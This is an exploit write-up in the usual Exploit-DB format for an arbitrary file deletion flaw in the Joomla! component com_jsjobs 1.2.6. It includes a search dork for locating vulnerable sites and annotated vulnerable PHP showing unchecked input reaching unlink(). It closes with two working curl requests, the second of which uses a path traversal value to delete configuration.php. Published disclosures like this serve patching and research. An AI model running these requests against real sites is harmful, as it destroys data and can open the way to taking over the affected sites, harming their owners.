Joomla! component com_jsjobs 1.2.6 – Arbitrary File Deletion
# Exploit Title: Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion # Dork: inurl:"index.php?option=com_jsjobs" # Date: 2019-08-16 # Exploit Author: qw3rTyTy # Vendor Homepage: https://www.joomsky.com/ # Software Link: https://www.joomsky.com/5/download/1 # Version: 1.2.6 # Tested on: Debian/nginx/joomla 3.9.0 # Vulnerability details: # This vulnerability is caused when processing custom userfield. File: site/models/job.php Function: storeJob Line: 1240 ------------------------------------- 1215 //custom field code start 1216 $customflagforadd = false; 1217 $customflagfordelete = false; 1218 $custom_field_namesforadd = array(); 1219 $custom_field_namesfordelete = array(); 1220 $userfield = $this->getJSModel('customfields')->getUserfieldsfor(2); 1221 $params = array(); 1222 $forfordelete = ''; 1223 1224 foreach ($userfield AS $ufobj) { 1225 $vardata = ''; 1226 if($ufobj->userfieldtype == 'file'){ 1227 if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 0){ 1228 $vardata = $data[$ufobj->field.'_2']; 1229 }else{ 1230 $vardata = $_FILES[$ufobj->field]['name']; 1231 } 1232 $customflagforadd=true; 1233 $custom_field_namesforadd[]=$ufobj->field; 1234 }else{ 1235 $vardata = isset($data[$ufobj->field]) ? $data[$ufobj->field] : ''; 1236 } 1237 if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){ 1238 $customflagfordelete = true; 1239 $forfordelete = $ufobj->field; 1240 $custom_field_namesfordelete[]= $data[$ufobj->field.'_2']; //No check. 1241 } ...snip... 1323 // new 1324 //removing custom field 1325 if($customflagfordelete == true){ 1326 foreach ($custom_field_namesfordelete as $key) { 1327 $res = $this->getJSModel('common')->uploadOrDeleteFileCustom($row->id,$key ,1,2); //!!! 1328 } 1329 } File: site/models/common.php Function: uploadOrDeleteFileCustom Line: 851 ------------------------------------- 748 $path = $base . '/' . $datadirectory; 749 if (!file_exists($path)) { // create user directory 750 $this->makeDir($path); 751 } 752 $isupload = false; 753 $path = $path . '/data'; 754 if (!file_exists($path)) { // create user directory 755 $this->makeDir($path); 756 } 757 if($for == 3 ) 758 $path = $path . '/jobseeker'; 759 else 760 $path = $path . '/employer'; 761 762 if (!file_exists($path)) { // create user directory 763 $this->makeDir($path); 764 } ...snip... 843 } else { // DELETE FILES 844 if ($isdeletefile == 1) { 845 if($for == 3){ 846 $userpath = $path . '/'.$datafor.'_' . $resumeid . '/customfiles/'; 847 }else{ 848 $userpath = $path . '/'.$datafor.'_' . $id . '/customfiles/'; 849 } 850 $file = $userpath.$field; 851 unlink($file); //!!! 852 } 853 return 1; 854 } 855 } ##################################### #PoC: ##################################### # If an administrator has added custom userfield 'ufield926' as field type 'file', attacker are can trigger this vulnerability by send a following requests. $> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926=@./valid_image.jpg' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php" $> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=666' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926_1=1' -F 'ufield926_2=../../../../../configuration.php' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php" |